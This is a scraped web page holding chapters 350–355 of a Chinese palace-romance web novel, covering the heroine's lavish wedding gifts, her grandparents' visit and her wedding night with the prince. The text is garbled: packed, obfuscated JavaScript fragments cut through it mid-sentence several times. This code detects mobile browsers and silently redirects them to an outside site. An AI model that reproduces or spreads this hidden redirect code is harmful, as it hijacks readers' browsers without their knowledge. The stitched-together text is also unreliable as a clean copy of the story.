0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15614207|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧晏珩多去别处歇一歇,好尽早开枝散叶,被他以一句“体弱”驳了回来。 他体不体弱,邢初雪比谁都清楚。 他这番态度,让邢初雪心中甜蜜,但自幼接受的教育又让她自省,自己是否太过善妒不容人? 她也很期望能尽早怀上他的孩子,但艾伯特说,她受伤期间,服用了不少药,需停药半年以上方可怀孕,不然只恐会对胎儿有影响。 半年,这时间不短,她很心急。 萧晏珩半分不急,反而道:“正好,本王也在吃药调理身子,待你我的身子都调理好了再谈孩子之事也不迟。” 他入宫时,便是这么同惠嫔说的,如此,惠嫔便不好再说什么。 他没有让邢初雪背负压力,邢初雪心中十分感动。 但越是如此,她便越渴望能为他孕育子嗣。 陆映溪抱着孩子,笑着逗弄,但那孩子安安静静的,眼珠子都没有动一下,没有给她半点回应。 可巧,这时,紫鹃也抱着孩子来给陆知苒添妆了。 紫鹃没料到这么多贵人在,更没料到陆映溪也在,一时表情微僵。 但来都来了,自然不能再走,她笑着抬步进去了。 “今日大小姐大喜,奴婢忝颜,给您添妆来了。” 怀中的孩子似也知道今日乃大喜之日,发出咯咯的笑声,清脆又欢快。 那孩子生得白胖,胳膊腿儿都肉乎乎的,用力蹬着,叫人瞧着就欢喜。 陆知苒脸上不禁露出笑来。 众人的目光在两个孩子之间来回转,一个安安静静,看上去甚至有些呆愣。 另一个却是机灵活泼,叫人瞧着便欢喜。 都是孩子,但对比委实明显。 陆映溪脸上的神色变得十分难看。 一方面,是对紫鹃的厌恶。 另一方面,则是因为那孩子的确比自己儿子讨喜。 原本陆映溪并不觉得自己儿子有什么问题,只当他是性子老成,天生不爱笑不爱动罢了。 现在,有了直接的对比,她才隐约意识到些什么。 难道,正常的孩子应该是那样的?自己儿子,莫不是个傻子? 第351章 洛家添妆 这个念头一起,陆映溪立马心头一跳,赶忙甩开了。 不可能,她的儿子怎会是傻子? 定是自己想多了! 再看向那笑得欢快的女孩儿,陆映溪心底便不禁升起一股嫌恶。 这个贱种,本不该活着来到世上。 她不仅活着出生了,还如此碍眼! 姜锦年的目光也在两个孩子之间流转,她的眼神顿时变得十分古怪。 当初,钦哥儿出生时,她就觉得这孩子过于安静,长到现在,他也没有太大的变化,总是呆呆傻傻的。 母亲总说孩子都这样,陆映溪也护犊子,姜锦年便觉得是自己没生养过孩子的缘故。 现在,她见到了比钦哥儿还小的孩子,这孩子可比他机灵多了。 这才是正常的孩子吧? 她脑中也冒出一个念头,钦哥儿该不会是傻子吧? 紫鹃的积蓄不算丰厚,她能拿出的添妆礼也不算丰厚,但却是她的一番心意。 她能顺利生下孩子,多亏了陆知苒当初的提点,她感激她。 另一方面,紫鹃心中也有私心。 陆知苒的前程不一般,日后,自己女儿若能得她两分喜爱与庇护,她后半辈子就能无忧了。 是以,她拿出那份添妆礼的心意十分真诚。 陆知苒笑着收下了。 紫鹃感受到陆映溪那要**的目光,下意识把孩子抱紧了几分。 她不再多待,行礼之后,抱着孩子匆忙离开了。 陆映溪心中难出恶气,有些恶毒地道:“一个丫头片子,也值得抱出来炫耀,实在丢人现眼。” 陆知苒淡了神色,“你我都是女子,照妹妹这话的意思,你我都是丢人现眼之辈?” 陆映溪神色微僵,“我不是那个意思。她只是个妾室所出的庶女,自然不能与你我相提并论。” “不管是嫡出抑或庶出,都是父亲的子嗣,是陆家的血脉,妹妹在陆家说出这样的话,妥当吗?” 陆映溪被怼得说不出话来。 萧宝珠早就看不惯她,当即便开喷。 “今日苒姐姐大喜的日子,你有什么扫兴的话最好给我忍一忍。不然,本公主可就不忍了。” 陆映溪脸色青白交错,最后只能抱着孩子,悻悻然地走了,姜锦年自然也赶忙跟上。 讨厌的人终于走了,萧宝珠重重哼了一声。 “真是讨嫌。” 邢初雪的注意力都放在孩子身上,她忍不住开口,“方才你们瞧见没,两个孩子看起来很不一样。” 几人都点头。 叶寒衣点评,“姜家那孩子看上去有点……不大机灵。” 她这话说得含蓄了,大家方才都瞧见了,对此都心知肚明。 但那只是个孩子,她们不欲犯下口孽,今日这样的大日子,也不适合说这样的话,便没有继续这个话题。 没了讨嫌之人,房中的气氛慢慢和乐起来。 正这时,外头传来了一阵喧闹的锣鼓声,几人都“咦”了一声。 “外头是什么声音?吉时到了吗?” “吉时还早呢。” 陆知苒也疑惑,便遣人出去查看。 很快,就有丫鬟满脸喜色地跑进来。 “大小姐,喜事,您的外祖洛家派人给您送添妆礼来了!” 陆知苒的眼底顿时迸出欣喜。 长街外,一支浩浩荡荡的队伍从城外而来,为首的赫然是洛观澜。 一路上,有人朝着街边的百姓高声大喊,“苏杭洛家,给瑾王妃添妆了!” “赤金嵌宝头面全副,富贵长春!” “翡翠双镯,圆满如意!” “宋锦十匹,锦绣良缘!” “缂丝四景,四季平安!” “紫檀妆奁,闺阁清华!” “旺铺十间,日进斗金!” “良田沃土,子孙丰饶!” …… 一路唱词,从城门到陆府门口,没有停歇,更没有重复,直叫百姓们听得直了眼。 这番丰厚的添妆把陆府的门都堵住了,一时竟是装不下。 陆贯轩今日本就高兴,眼下这番情形,更是叫他风光得意,近日的阴郁一扫而空,脸都快笑烂了。 方氏见了,则有些笑不出来。 这般丰厚的添妆礼,如果是她女儿的,该多好! 以往方氏还能幻想自己能拿捏住陆知苒,把她的东西全都占为己有,但现在,她已经半点不敢想了。 她不得不承认,自己斗不过陆知苒。 陆知苒听到丫鬟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618385|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的回禀,又听到外头喧闹的唱礼,眸底不禁泛起一抹水光。 她在乎的,不是这些东西,而是这份看重与心意。 这时,丫鬟又匆匆来禀。 “大小姐,洛老太爷和洛老夫人、洛大夫人都来了!” 陆知苒一下从座位上站了起来,脸上满是难以置信。 她再三向丫鬟求证,才终于确认,是她的外祖父、外祖母和大舅母马氏来了。 上次相见,还是母亲离世那一年。 当时她尚年幼,距离现在也隔了一辈子,她的记忆已经有些模糊了,但听闻他们到来,她心中的情绪便有些失控。 她起身就要往外,被喜娘急急拦住了。 陆贯轩也没想到自己的老岳丈和岳母会来,当即恭恭敬敬地把二老迎进门,言语姿态都带上了股不自知的谄媚。 洛家如此有钱,若是能让他沾沾光,就再好不过了。 况且他们本就是长辈,他便是再如何伏低做小,也不为过。 方氏见此,心中更加不快,面上却只能撑着笑,别提多憋屈了。 洛老太爷和洛老夫人已经将近六十,但依旧精神矍铄,看起来十分健朗。 二老对陆贯轩的态度都有些冷淡,只有浮于表面的客套。 洛老太爷和洛观澜不便前往内院,洛老夫人和洛大夫人马氏没这顾忌,她们二人直接往内院来了。 陆知苒目光一直黏在门口,待听到外头的动静,她立马快步迎上前,“外祖母,大舅母。” 外祖母比她记忆中苍老了不少,身形亦佝偻许多。 洛老夫人急忙一把拉住她的手,未语泪先流。 “苒姐儿……” 陆知苒见此,方才一直强忍的眼泪也终于忍不住了。 马氏也擦了擦眼角,她很快开口打圆场。 “今日是苒姐儿大喜的日子,可不能哭。” 二人这才收起了泪意。 察觉到老人手指有些发凉,陆知苒急忙命人给她拿了个暖手炉。 “外头天冷,外祖母还要千里迢迢赶来为我送嫁,实在辛劳。” 洛老夫人笑道:“我们一路乘船入京,又有瑾王的护卫打点护送,沿途官员都不敢刁难,很是平顺,我没吃什么苦头。” 第352章 特殊的添妆礼 陆知苒闻言愣住。 “瑾王殿下?” 马氏笑着道:“是啊,这次是瑾王殿下派人去苏州请我们上京,我们这才来的。” 说完又忙解释,“并非是我们托大不愿来,而是我们洛家乃商贾,身份到底低微,贸贸然前来,恐有攀附之嫌,这才有所顾忌。母亲她一直念着你,总想来见见你呢。” 这话不假。 洛家的确财大气粗,但到底甩不脱商贾的身份。 以前陆贯轩还只是芝麻小官时,就瞧不起洛氏的商贾身份,宣平侯府亦是如此。 而今,陆知苒要嫁的是当朝王爷,只怕更不把他们洛家放在眼里。 洛家本只打算派人低调地把添妆送到,不打算高调露面,唯恐引起瑾王不快。 未曾想,瑾王对此竟毫不在意,反而特意派了人去洛家,言辞诚恳地把他们请到了上京。 洛老太爷和洛老夫人也很想见见外孙女,便都来了。 瑾王的所作所为,更让他们感受到了他对陆知苒的看重。 他们也想见见这个外孙女婿。 她上次所嫁非人,这一次,她们只有亲眼看到她过得好,才能放心。 陆知苒听了这番话,心头不由泛起一阵阵感动。 她没想到,萧晏辞背地里竟做了这些。 他应当是早就派人去苏州了,但他却半个字没提。 洛老夫人一直拉着她,目光更是仔仔细细地在她的脸上打量,看着看着,眸底又不禁泛起水光。 “你长得与你母亲,一模一样。” 看着她,洛老夫人便不禁想到自己早逝的女儿。 陆知苒心中亦泛起涟漪,对母亲的思念汹涌而至。 马氏忙道:“妹妹在天之灵见到苒姐儿能有如此良缘,定然也会欣慰的。” 洛老夫人收了眼泪,笑着点头。 祖孙二人又坐下来叙旧,洛老夫人问起萧晏辞,“瑾王愿意为了你到苏州请我们前来,为你造势,可见心中是有你的。” 陆知苒脑中浮现出男人的脸,脸上不自觉浮起一抹热意。 “殿下人很好。” 洛老夫人将她的神情变化尽收眼底,眸中不觉多了几分笑意。 这一次,苒姐儿遇到了良缘。 这时,街道上再次有了新动静,丫鬟立马兴冲冲地去打听。 莫不是又有谁来给大小姐添妆了? 一支浩浩荡荡的队伍从城外而来。 这支队伍十分特殊,都是女子,她们身上都穿着最喜庆的衣裳。 有人认出了她们。 “这是锦绣坊的女工们。” “她们也是来给瑾王妃添妆的吗?” “定是如此,当初瑾王妃给她们谋了一条活路,她们现在便是来回报瑾王妃的。” 一众女子走到了陆府门口,为首之人,赫然是春杏和林慧娘。 当初春杏被方成器害得家破人亡,险些丧命,在锦绣坊时,她也险些在那些流言蜚语中倒下。 但是,她最终挺了过来。 这条活路,是陆知苒给的。 而林慧娘,之所以有和离的底气,便是因为锦绣坊的存在。 也是陆知苒下令,严防死守,她才没有再被前夫一家骚扰,能在锦绣坊专心学习刺绣。 她们二人,是众绣娘中天赋最高,进步最大的。 众人将一个巨大的屏风抬到陆府门口,“民女等人合绣了这幅百鸟朝凤同心屏,贺王妃新婚大喜,愿王妃与王爷如凤栖梧桐,百鸟朝贺。屏间千羽,皆是锦绣坊感念之恩,请王妃不弃!” 她们揭开了屏风上的红布,瞬间叫围观众人看直了眼。 屏风上绣着仙鹤衔福、喜鹊登梅、鸳鸯交颈……不同的吉祥鸟,出自不同的绣娘。整幅屏风展开时如孔雀开屏,通体流光溢彩,华贵不可方物。 那些曾经连针都拿不稳的手,如今捧出了这么一副作品,她们的成长,众人有目共睹。 除了绣娘,香粉娘子也拿出了自己的添妆。 天香胭脂膏、金花钿、黛石眉笔、金缕贴花、百年好合香露…… 都是她们亲手调配,且装在鎏金牡丹胭脂匣中,分外精细华美。 “胭脂染就千般喜,香粉匀开万世缘。锦绣坊脂粉组敬献妆奁一副,愿王妃与王爷百年好合,永结同心。” 之后,便是香料组,绒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618386|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花组等一一奉上添妆。 她们的添妆礼不一而足,无一例外都是她们亲手所做。 这份添妆,或许不是最贵重的,但却是最独一无二的,是她们上交的一份成长答卷。 围观的百姓们见了,心中都不由大受震撼。 回想起去年大家因为炭火紧缺而挨冷受冻,多亏太仓商行牵头搭建了收容所,大家才顺利度过寒冬。 瑾王妃的功德无量! 原本百姓们只是看个热闹,直到看到锦绣坊众人送上的添妆礼,大家才心有所感。 当即便有不少百姓纷纷回家,拿出了自己家中能拿得出手的东西,送到陆府门口要添妆。 一时,陆知苒的声望被推至顶峰,陆府门前也被百姓簇拥,热闹非凡。 陆贯轩见此情形,先是惊愕,旋即便是惊喜。 他的女儿竟如此得民心,这份荣耀,是多少人几辈子谋划都不一定做得到的。 他也跟着沾光了。 陆府事先没有预备这般多席位,洛观澜是商人,脑子到底灵光,他提议,在门口加设流水席,府中来不及筹备酒菜,就到附近酒楼定。 陆贯轩回神,立马吩咐人去办。 这些前来添妆的人都是客,陆家断然没有光收礼不待客的道理,更何况,这也是一次十分好的笼络人心的机会。 方氏看着比预想中热闹无数倍的喜宴,再次有种喉头梗了一口老血的憋屈。 陆映溪亦是如此,跟这场喜宴相比,自己当初的那场婚礼,简直是丢人现眼。 可是凭什么呢?陆知苒明明是二嫁之身,她凭什么能得到这一切? 她们母女想不通,更满腹不甘。 陆君成的眼睛却很亮,眸底的崇拜与敬意几乎满溢。 他有这样一个大姐姐,他深感骄傲! 陆知苒得知了外头发生的一切,心中亦不受控地泛起阵阵涟漪。 她当初做那一切的时候,从未想过得到些什么。 而今日,她们的所作所为给了她最大的鼓励。 她们让她知道,自己的所作所为,一直被她们感念于心。 她所做的一切,都有了意义。 第353章 新婚之夜 洛老夫人一脸骄傲地看着她,“苒姐儿有本事,你若身为男子,定能封侯拜相!” 陆知苒心中升起一股激荡。 上次成婚,她只觉得身心俱疲,时间好似过得无比冗长缓慢。 这次,她也做好了要慢慢熬的准备,没成想,一切都大不相同。 她甚至没来得及感到疲累,吉时就到了。 喜娘赶忙给她盖上红盖头,视线被阻隔,听觉和触觉变得分外灵敏。 萧晏辞骑着高头大马前来接亲。 拦门的环节,陆家这边没人敢真的刁难萧晏辞,他很快**关。 二人一人牵着红布的一端,走到正厅,拜别长辈。 原本,陆知苒需要拜别的是陆贯轩和方氏,她虽不愿,但仪式如此,她也不得不遵从。 但现在洛老爷子和洛老夫人来了,长辈的席位上,便多了两人。 陆知苒的拜别真诚许多。 虽未能见到外祖父,但听到他那苍老又隐含颤抖的声音,陆知苒亦不禁红了眼眶。 拜谢长辈,陆君成背着陆知苒上了花轿。 少年人身形瘦弱,背脊也不够宽阔,但步子却很稳。 上了花轿,花轿开始巡游,陆知苒端坐轿中,耳边甚至还能听到百姓们感激她的话语。 盖头之下,陆知苒的唇角微微勾起。 下轿,进门,拜堂,入洞房,一切都水到渠成。 萧晏辞用玉如意挑开盖头,陆知苒视野顿时开阔,新房内的情形尽收眼底,她不禁微微一愣。 此处的布置,分明与瑶光阁一般无二,不用想就知道是何人授意。 她目光一下与眼前男人对上了,心头再次荡起涟漪。 男人一身正红喜服,衬得他身形如松如竹,原本刀削般的冷硬面容因喜色添了几分温情与柔和。 他目光灼亮地看着陆知苒,分明尚未饮酒,却好似添了几分醉意。 喜娘捧来缠枝莲纹的银壶,将琼浆倾入一对白玉盏中。 “王妃,请。” 他嗓音微哑,手臂绕过她的,二人气息交融,酒香混着她袖中木樨的芬芳,竟比杯中佳酿更醉人。 陆知苒眼睫轻颤,饮时余光瞥见他喉结滚动,一滴酒液不慎滑落,正沿着他脖颈没入衣领。 陆知苒耳根莫名红了。 喜娘高声贺道:“连卺同牢,永结为好!” 二人交臂分开,男人身上那强烈的存在感消失,陆知苒轻虚了口气。 萧晏辞目光勾缠在她身上,“本王去去就来。” 陆知苒被他看得面皮发紧,回以端庄的微笑。 他一走,众人这才敢开口说话。 翠芙和丹烟都压抑不住心头的激动。 “小姐,王爷把婚房都布置得与瑶光阁一模一样,可见王爷有多重视您。” 金嬷嬷也高兴,但她却虎着脸教训两个丫鬟,“该改口了。这里是王府,咱们的一言一行当更加小心谨慎,若是行差踏错,丢的是王妃的脸。” 二人立马正了神色。 这时,王府的两名丫鬟入内,恭敬行礼。 “王妃,王爷吩咐奴婢给您备好了浴汤,是否现在更衣沐浴?” 陆知苒这会儿才后知后觉地感到身上的沉重,她当即点头。 脱下一身繁复的衣裳,卸下满头钗环,洗去脸上的胭脂水粉,她总算觉得身上轻快多了。 不待她吩咐,就有人送来了满桌的饭菜,都是她平日爱吃的。 翠芙和丹烟对萧晏辞这个姑爷更加满意。 她们不禁想,这次成亲,比上次的待遇好多了。 上次,她们小姐可是顶着沉甸甸的衣裳发饰,饿着肚子等到了后半夜。 到最后,反倒等来了西平的急报,楚翊安撇下她们小姐出征去了,只来得及留下一句交代。 而今,她们反而庆幸边关的那封急报,让她们小姐没有成为真正的楚家妇。 吃着满桌的珍馐,陆知苒胃里的空虚被填满,连带着,整个心也被填得满满当当的。 在瑾王府的第一顿饭,她吃得十分舒心,她的一众陪嫁也都受到了优待,人人脸上都是笑意。 红烛高烧,新房内氤氲着沉水香的气息。 吃饱喝足,又洗漱干净,陆知苒隐隐感到了一股困意。 今日起得早,一整日都没有休息,眼下,身体终于到了极限。 但今日是新婚之夜,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15624501|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能睡,便只能强撑着。 金嬷嬷见她满脸疲态,坐着的这一会儿功夫就接连打了好几个哈欠,心中十分心疼。 虽知不合规矩,金嬷嬷还是生了私心。 “王妃若是困倦了,可以先小憩片刻,待王爷回来了,奴婢再唤您。” 陆知苒摇头,“不可。” 这里终归是王府,她不能仗着萧晏辞的宽和便肆意妄为。 不曾想,高嬷嬷进了新房,瞧见她的疲态,竟也劝她先歇一会儿。 “侍奉王爷是大事,王妃若不休息好,如何能尽心侍奉?” 陆知苒登时明白过来,脸刷地一下红了。 她当即不再推辞,顺势躺下了,只是一再叮嘱她们,王爷回来了定要喊她。 实在太累了,陆知苒沾枕就睡,半点认床的毛病都没有。 这一觉睡得可谓昏天黑地,香甜极了。 她有些畏寒,每次睡觉都需灌汤婆子暖脚。 以往,到了后半夜,汤婆子冷了,她都要被冷醒。 但这一次,她没有被冷醒,因为她的汤婆子非但没有变冷,反而十分热乎。 她下意识地往暖源靠近,全身上下都暖融融的,睡得十分舒坦。 后半夜,她甚至被热醒了。 迷迷糊糊睁开眼,就发现自己被人紧紧抱在怀里,那源源不断的热意便是由此而来。 脑子迟钝了好几息,陆知苒才终于后知后觉地反应过来今夕何夕。 她整个人都险些绷起来。 她竟在新婚之夜睡过去了! 她们怎么不喊自己! 萧晏辞竟然也没喊自己,就让她这般睡了。 陆知苒脑子乱七八糟的,一时不知自己该醒还是该继续装睡。 男人的怀抱实在太热了,陆知苒这般畏寒之人都热出一身汗,她有些不舒服地动了动。 没想到,她轻轻一动,男人就醒了。 他睡眼惺忪,声音带着一丝沙哑。 “醒了?” 陆知苒能感受到他说话时震动的胸膛,那种强烈的侵略感再次袭来。 她迟疑了两息,犹豫要不要继续装睡。 但临阵脱逃也不是良策,她轻“嗯”了一声。 第354章 投怀送抱 “可睡好了?” 陆知苒有些赧然地点头,“妾身不小心睡过头了……” 听她如此自称,萧晏辞眉头蹙起。 “不必如此自称。” 平白生分。 陆知苒从善如流地改了口,“翠芙她们实在太不像话了,竟也不叫醒我。” “是本王不让她们喊你,你今日累了,合该好生休息。” 他回到婚房时,陆知苒躺在床上,白生生的小脸埋在火红的喜被里,睡得酣甜,瞧着便叫他心都要化了。 他如何忍心把她叫醒? 他尽量放轻动作,洗去身上的酒气,小心翼翼地上了床。 好在,没有弄醒她。 但他也很久没能睡着。 她身上的馨香不停往他鼻子里钻,勾得他心痒难耐。 更要命的是,她还一直往自己身上挨。 起先萧晏辞刻意往床边挪,但后来发现她冷,尤其是一双脚透着凉,萧晏辞便伸手给她捂热,而后又紧紧抱着她,给她取暖。 好容易克制了欲念睡着,她却醒了。 陆知苒听了他的话,心头再次泛起一丝涟漪。 帐外,烛火微微跳跃,整个屋中笼着一抹昏黄的光。 两人都没说话,萧晏辞觉得那股馨香再次往鼻子里钻。 萧晏辞喉结微微滚了滚,“你渴不渴?” 陆知苒的确觉得有些口干,但她哪能让萧晏辞给她倒水? 当即撑起身子要下床,“我给殿下倒水。” 她刚睡醒,身上还有些发软,手臂一软,整个人竟又摔了回去。 这一摔,不偏不倚,恰好摔在了男人的胸膛上。 陆知苒:…… 男人的眸光倏而幽沉,似猛兽苏醒,整个人都透着股危险的气息。 他开口,声音带着一丝微微暗哑。 “王妃这是主动投怀送抱?” 陆知苒本就热,这下,她整个人更是如同煮熟的虾子,瞬间红温了。 她急忙要起身,但手一时寻不到支撑,倒是在他的胸膛上摸索了一通。 陆知苒:…… 萧晏辞一把擒住了她的手,语气莫名。 “你再这般摸下去,可就没机会喝水了。” 他的火被撩了起来,只怕顾不上让她下床喝水了。 说话间,他将她轻轻环抱便挪回了床里侧,自己则飞快翻身下床,给陆知苒倒了一杯温茶。 他自己接连倒了几杯,一通牛饮,方觉喉间干咳缓解些许。 但心里的那股火,却是没有掐灭。 萧晏辞重新回到床上,陆知苒轻声道:“我睡外侧吧。” 一般夫妻,都是妻子睡外侧,丈夫睡里侧,为的是方便半夜妻子给丈夫端茶倒水,不然就会出现方才那番情形。 萧晏辞不以为意,“本王睡外侧习惯了。更何况本王早上起得早,睡外侧省得吵到你。” 陆知苒闻言,便不再多说。 帐内再次陷入了安静。 两人都没说话,彼此的呼吸在静谧的夜里显得分外清晰。 陆知苒虽成过婚,但这却是她第一次与男人同床共枕。 先前无知无觉,自然能酣睡,现在她已睡饱了,身侧男人的气息又十分明显,她没法忽视。 她开了口,“殿下何时派人去的苏杭?” “我们婚期定下来之时,本王便派了人前去。” 陆知苒语气真诚,“多谢殿下给洛家这番体面。” 若没有他派人相请,洛家定然诸多顾忌,不敢主动攀附。 至少,外祖父和外祖母不会入京,她也定见不到他们。 萧晏辞在黑暗中转眸,“洛家是你的外祖家,而你是本王的王妃,本王给洛家体面,就是给你体面,此乃理所当然之事。” 陆知苒心念一动,“那锦绣坊女工们添妆之事,也是殿下安排的?” “不算,本王只是让人提点了一番,至于那些添妆礼,是她们自己的主意,也是她们亲手所做。那些都是她们对你最真诚的感激,是你应得的。” 一时之间,陆知苒心口涌起一股酸酸胀胀的情绪,久久难以平复。 “本王天生破财,于钱财上拿不出手,就只能在旁的方面费些心思。知苒,你今日可开心?” 最后那话隐隐含了几分笑意,陆知苒心头似被击中。 她的心情前所未有的轻盈,脸上也露出了笑。 “嗯,很开心。多谢殿下。” 原来,与不同的人成婚,竟会收获如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15624502|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不一样的体验。 原本她选萧晏辞,是将他视若盟友。 他比任何人都有机会登上那个位置。 一直以来,她的态度也很冷静。 她一直以为自己初心不改,但现在却发现,事实好像并非如此。 她的心境,早就在不知不觉间发生了变化。 黑暗中,萧晏辞的声音十分清晰有力。 “你我夫妻,乃是一体,本王为你做任何事都是理所应当的,不必把谢挂在嘴边。” 陆知苒轻轻“嗯”了一声。 她想说些什么,但一时之间又不知该如何开口。 萧晏辞的声音再次传来,“本王与洛观澜简单聊了聊,洛家有意将生意发展到京中来,而眼下,也刚好有一个很好的契机,若是抓住了,洛家在京中就能站稳脚跟。” 陆知苒一下来了精神,忙问,“什么契机?” 萧晏辞:“朝中正在遴选皇商。” 陆知苒闻言,立马心思浮动起来,但又不敢抱太大希望。 “洛家先前从未涉足京城生意,若要竞选皇商,只怕不易。” “洛家在西平一役中本就立了功,本王再暗中推动一把,此事有九成几率。” 又玩笑道:“剩下的那一成,本王到时候舍下脸面到父皇跟前缠磨一番,定也能落成。” 陆知苒轻声,“要让殿下费心了。” 萧晏辞握住了陆知苒的手,语气染上两分揶揄。 “本王一穷二白,今后的吃喝全仰仗王妃,自然要想方设法多多讨好王妃。” 陆知苒被他宽厚的大掌握着,觉得前所未有的安心。 二人一时无话,只余彼此轻缓的呼吸。 不知为何,陆知苒心头浮躁起来,本就清醒的脑子,此时更是半点睡意也没了。 她的手指在他的掌心轻刮着,一下下,似无意,却叫萧晏辞的心尖一阵阵发痒,有些难耐起来。 十指连心,果然不假。 萧晏辞掌心用力,再次将她的手握住,阻止了她的动作。 “王妃可是睡不着?” 陆知苒声线微微绷紧两分,却故作平稳,“嗯,方才睡好了。” 萧晏辞眸光灼灼地看着她,“既如此……” 第355章 把大事办了 “既如此,便把今日的大事办了吧。” 肥肉唾手可得,却不能吃到嘴里,总叫他心头瘙痒难耐。 那般滋味,简直比钝刀子磨肉更加难熬。 陆知苒心一横,伸出长臂,一把勾住他的脖颈,献上红唇。 萧晏辞再没了迟疑,很快反客为主,攻池掠地。 到了紧要关头,她却喊停,“等等……” 萧晏辞难耐地看着她,她莫不是临阵反悔了?那自己只怕要被憋疯。 “元帕。” 萧晏辞哪里顾不上那个,“无需那些繁文缛节。” 陆知苒却十分在意,“我不曾与楚翊安圆房。” 落了红,才能证明这一点。 萧晏辞伸手轻抚她的面颊,“本王知道。” 便是圆了房,他也不在意。 他既选择与她成婚,就没有资格在意。 陆知苒依旧坚持,这张元帕,是给柔妃看的。 柔妃待她再好,再心无芥蒂,但到底是她的婆婆。 她不想为日后彼此的关系留下任何一点可以叫人挑拨和说道的把柄。 窗外更漏迟迟,偶有夜风掠过廊下红绸,窸窣声掩不住阵阵娇喘低吟。 芙蓉帐暖,交颈间,她下意识抓紧了喜被一交,却触到床上遗落的桂圆——原是撒帐时藏住的“早生贵子”,此刻硌在掌心,倒像一颗慌乱的心。 烛泪无声堆叠,映出帐上重叠的影。 待到东方既白,那对红烛早已燃尽。 帐中,辛劳一夜的二人依旧睡得正酣,丫鬟们本不敢打扰,但今日,他们要入宫向皇上和柔妃见礼,时辰也耽误不得。 最后还是高嬷嬷敲了门,把二人唤醒了。 陆知苒醒来时,便发现自己被环抱在一个宽厚结实的怀抱里,浑身暖融融的,十分舒服。 动了动身子,这才感到浑身酸软。 昨夜种种涌入脑中,她的脸霎时红透了。 再抬眸,萧晏辞早醒了,此时正一错不错地看着她,眸底含着温柔的笑意。 陆知苒推了推他,“该起了。还得入宫拜谢。” 萧晏辞的声音透着慵懒,“晚些也无妨。都是过来人,父皇母妃能明白。” 陆知苒:…… 她的脸更红了,羞恼地推开他,自己起身了。 主子有了动静,丫鬟们便鱼贯而入,伺候他们梳洗打扮。 丫鬟整理床铺,很快就发现了那张元帕,上面赫然是清晰的落红。 那丫鬟立马将元帕收好,交给了高嬷嬷。 高嬷嬷见了,脸上也露出满意的笑。 翠芙和丹烟将这番情形尽收眼底,她们脸上喜气洋洋的,更有种扬眉吐气之感。 她们家王妃虽是二嫁之身,但身子清清白白的,今后这王府,没人能拿这件事嚼舌根。 一番装扮,又用了早膳,夫妻二人相携出门。 萧晏辞的目光一直流连在陆知苒的身上,带着股明目张胆的炽热,直把她看得浑身不自在。 待上了马车,男人的目光依旧不依不饶的,终于叫陆知苒生出了恼意。 她掀起眼皮,有些嗔怒地剜了男人一眼。 “一直这般盯着我作甚?” 萧晏辞低笑出声,“还当王妃要一直不看本王呢。” 陆知苒闻言,知他是故意为之,面上更添窘意,一时瞪着他也不是,避开也不是。 萧晏辞脸皮厚,又低声问,“身上可还有哪里不适?” 陆知苒更臊了,恨不能伸手将他的嘴捂住。 萧晏辞自顾自地道:“待会儿进宫就走个过场,很快就能回来休息。” 陆知苒立马反驳,“我不累!” 萧晏辞似笑非笑地看着她,“哦?那今晚……” 陆知苒当即变了脸色,脱口而出。 “你想都别想!” 今晚还来,那简直是要她的命! 萧晏辞闷笑几声,眼底满是戏谑之意。 陆知苒方反应过来,他方才是故意逗自己的。 这男人,婚前还能维持君子端方之礼,不曾想,一成婚,在自己面前就没个正形了。 他又得寸进尺地伸手握住了她的柔荑,不容置疑地十指相扣,陆知苒心里有些不自在,却也没有挣开。 下了马车,陆知苒赶忙要挣开,他却没有松开的意思。 “本王牵自己的王妃,天经地义,有什么问题?” 他早就想这么干了,奈何以前名不正言不顺,现在有了名分 